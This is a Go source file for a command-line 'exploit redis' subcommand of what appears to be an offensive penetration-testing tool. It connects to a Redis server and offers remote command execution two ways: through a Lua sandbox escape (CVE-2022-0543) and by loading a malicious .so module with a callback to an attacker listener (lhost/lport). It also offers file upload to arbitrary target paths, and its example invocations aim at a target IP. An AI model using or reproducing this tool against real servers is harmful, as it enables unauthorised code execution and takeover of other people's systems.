package cmd

import (
	"context"
	"fmt"
	"github.com/go-redis/redis/v8"
	"github.com/spf13/cobra"
	"github.com/zyylhn/redis_rce/redisrce"
	"os"
	"strings"
)

var Lhost string
var Lport int
var Uploadfile bool
var Exec bool
var Lua bool
var FilePath string
var ServerPath string
var SoFilePath string
var SystemCmd string

// rediseCmd represents the redise command
var expredisCmd = &cobra.Command{
	Use:   "redis",
	Short: "Redis utilizes modules",
	Run: func(cmd *cobra.Command, args []string) {
		expRedis()
	},
}

func expRedis()  {
	if Hosts==""{
		fmt.Println(Red("must set host"))
		os.Exit(0)
	}
	redisclient:=redis_client(Username,Password,Hosts)
	if _,f,_:=redis_auth("",Password,Hosts);!f{
		fmt.Println(Red("Authentication error"))
		os.Exit(0)
	}
	switch  {
	case Command!="":
		redis_exec(Command,redisclient)
	case Lua:
		redisrce.LuaEval(redisclient,SystemCmd)
	case Exec:
		if Lhost==""{
			fmt.Println(Red("must set lhost"))
			os.Exit(0)
		}
		redisrce.RdisExec(redisclient,SoFilePath,ServerPath,Lhost,Lport,SystemCmd)
	case Uploadfile:
		if FilePath==""||ServerPath==""||Lhost==""{
			fmt.Println(Red("must set lhost,srcpath,dstpath"))
			os.Exit(0)
		}
		redisrce.RedisUpload(redisclient,FilePath,ServerPath,Lhost,Lport)
	default:
		fmt.Println(LightGreen(getinfomation(redis_client("",Password,Hosts))))
	}
}

func redis_exec(cmd string,client *redis.Client)  {
	ctx:=context.Background()
	var argsinterface []interface{}
	args:=strings.Fields(cmd)
	for _,arg:=range args{
		argsinterface=append(argsinterface,arg)
	}
	val, err := client.Do(ctx,argsinterface...).Result()
	redis_checkerr(val, err)
}

//命令执行模块的检查和输出函数
func redis_checkerr(val interface{},err error)  {
	if err != nil {
		if err == redis.Nil {
			fmt.Println(Red("Key does not exits"))
			return
		}
		fmt.Println(Yellow(err))
	}
	switch v:=val.(type){
	case string:
		fmt.Println(v)
	case []string:
		fmt.Println(strings.Join(v," "))
	default:
		fmt.Println(v)
	}
}

//获取redis基本信息
func getinfomation(client *redis.Client) string {
	var redis_version string
	var osinfo string
	var arch string
	var executable string
	var configfile string

	val,err:=client.Do(context.Background(),"info").Result()
	Checkerr(err)
	info:=val.(string)
	info_list:=strings.Split(info,"\r\n")
	info_list=info_list[0:23]
	for _,v:=range info_list{
		switch  {
		case strings.Contains(v,"redis_version:"):
			redis_version=v
		case strings.Contains(v,"os:"):
			osinfo=v
		case strings.Contains(v,"arch_bits:"):
			arch=v
		case strings.Contains(v,"executable:"):
			executable=v
		case strings.Contains(v,"config_file:"):
			configfile=v
		default:
		}
	}
	return fmt.Sprintf("%v\n%v\n%v\n%v\n%v\n",redis_version,osinfo,arch,executable,configfile)
}

func init() {
	exploitCmd.AddCommand(expredisCmd)
	expredisCmd.Flags().StringVarP(&Hosts,"host","H","","Set redis server host")
	expredisCmd.Flags().IntVarP(&redis_port,"port","p",6379,"Set redis server port")
	expredisCmd.Flags().StringVar(&SystemCmd,"cmd","","Set the command you want to execute eg:(appname exploit redis -H 172.16.95.16 -P 123456 --exec -lhost 172.16.95.1 --cmd ls)")
	expredisCmd.Flags().StringVarP(&Command,"command","c","","Set the command you want to execute eg:(appname exploit redis -H 172.16.95.16 -P 123456 -c \"keys *\")")
	expredisCmd.Flags().StringVarP(&Password,"password","P","","Set redis password")
	expredisCmd.Flags().StringVar(&FilePath,"srcpath","","set upload file path")
	expredisCmd.Flags().StringVar(&ServerPath,"dstpath","","set target path")
	expredisCmd.Flags().StringVar(&SoFilePath,"so","","set .so file path")
	expredisCmd.Flags().BoolVar(&Uploadfile,"upload",false,"use upload mode")
	expredisCmd.Flags().BoolVar(&Exec,"exec",false,"use execute the command mode")
	expredisCmd.Flags().StringVar(&Lhost,"lhost","","set listen host(!!!Make sure the target has access!!!)")
	expredisCmd.Flags().IntVar(&Lport,"lport",20001,"set listen port(!!!Make sure the target has access!!!)")
	expredisCmd.Flags().BoolVar(&Lua,"lua",false,"use CVE-2022-0543 to attack")
}
